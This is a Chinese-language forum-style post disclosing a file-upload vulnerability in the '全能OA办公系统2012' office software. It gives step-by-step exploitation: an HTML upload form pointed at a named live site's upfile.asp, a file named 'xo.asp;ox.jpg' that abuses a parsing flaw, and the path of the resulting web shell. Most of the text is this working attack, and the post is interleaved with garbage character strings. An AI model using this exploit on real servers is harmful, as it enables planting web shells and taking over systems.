全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
" ?4 t( {) i8 M2 |/ _8 x​
系统介绍：

/ g2 Q9 F; j; o+ z9 V! Z! q全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

9 Q( I, A9 R# ^$ ^. w. O( t/ \主要功能：
/ `" C, k0 b5 W8 X公司通告
工作计划
通讯助理
客户资源
+ W- `7 p3 x! J/ }) x8 X, Q8 N我的公文
公文传阅
- ^- Z, C4 H0 c/ E2 E- ~! g公共资源
! k) O; w3 R" |资源预约
& \! h8 b9 H) O* q; Q, z/ }$ J2 ]今日考勤
个人计划
个人通讯录
) }* i/ b. e6 h7 f7 V8 o个人基本档案
5 y3 x% ]2 {; Q' C4 A$ w/ g未读邮件
$ n3 o7 [% ~  c0 Y8 G# z/ J发邮件
收件夹
寄件夹
( L' K5 L* |+ J2 {1 F4 E网络硬盘
9 M1 Q+ Q+ T; N' t+ i; J6 i. {网络会议
9 J5 M" V4 a3 A& L4 U# T; v2 ^网络调查
2 }% {( T0 I9 w, t/ ^) R) k7 }8 w交流论坛
; h6 m& y9 b( r! b( T7 J
2 q; \& V# t5 O) L: [有兴趣测试的朋友可以下源码看看

源码下载：

http://www.mycodes.net/30/4750.htm

6 P0 u. j6 E! g2 Z2 A/ D& P# G- l漏洞介绍：

由upfile.asp上传文件漏洞引起

5 G; \2 T: H  h/ S' y$ n6 z测试方法：
$ X9 i; I3 @4 M% w
使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

) a7 m5 }* p) s4 p0 {  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

+ c% m. {4 Q  Z; @: C7 d0 j  n如果存在那么将如下代码保存为upfile.html。
* \# b$ m+ C; z$ F8 w
0 B% w3 [& w: k! W# u然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

7 d1 W! S' Z. f4 M
2 o* ]( s$ r2 Y# I
01 <table border='0' align="center" cellpadding="5">

2 n# j$ z+ _! n02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

% W" D3 r9 s7 J$ U1 b8 d03 <tr>
' Z$ t0 i- w8 I, G$ Q  w
04             <td>报错：</td>
4 M  E  b5 R" [$ G! r/ n6 v
05             <td><input type='radio' name='errnumber' value='0'>

; O2 B; w6 J2 ]; u/ D3 Z06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
/ e& p/ m* C. n: @7 p9 C/ }
. K) @, y  z: c# N, ?% k$ Y08               报错方式

  ]8 u1 f* i- I: P$ g% o09               <input type='radio' name='errnumber' value='2'>

" N9 V6 [: s. ]4 L& m10               直接覆盖</td>
4 L, h2 U+ ^& }' x0 ^
( o; z0 P; S1 o% T11           </tr>
: o, L: \# B& n7 I: f3 Q4 N
1 ?+ Y6 C. q3 R- R- S8 a12           <tr>

13             <td>主题：</td>
3 ~+ ^. i$ p% a/ j) z5 x
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>

17             <td>文件：</td>
% R5 \7 K7 S0 T2 S0 T
9 W& j3 Y; c3 Z18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>
  v- m) V' P4 \9 M3 h7 F1 w/ _
4 H3 a$ A) B. s+ y( h' R20           <tr>
1 x- a% d- T6 Z$ ~- s' s
+ v6 |- ^! B% i  V( f. N9 m% L21             <td valign='top'>简介：</td>
) z9 s) N. u# p1 c- n$ h+ B
. h" y) D- [6 {. S$ Z22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
: R' M; \) W6 }+ y2 x
4 d' F$ S0 p/ C/ A- ^4 X% S23           </tr>
3 U% t" E! J1 V$ u# S9 k
/ F2 Z! q2 w2 o9 D/ X0 Y/ D* h! r24   

7 {7 E8 r7 b" p$ y; c25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

27         </form>
" f9 V. m- k5 I5 D) \' n) P/ K! a$ V
  F' |2 k0 B2 m) q, g7 L" n: g然后打开上传一个文件名为xo.asp;ox.jpg的文件。
8 w- d/ l, w6 W# Q  V- u


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
7 a2 O1 F' ~+ t2 a  N
此漏洞需要配合解析漏洞利用。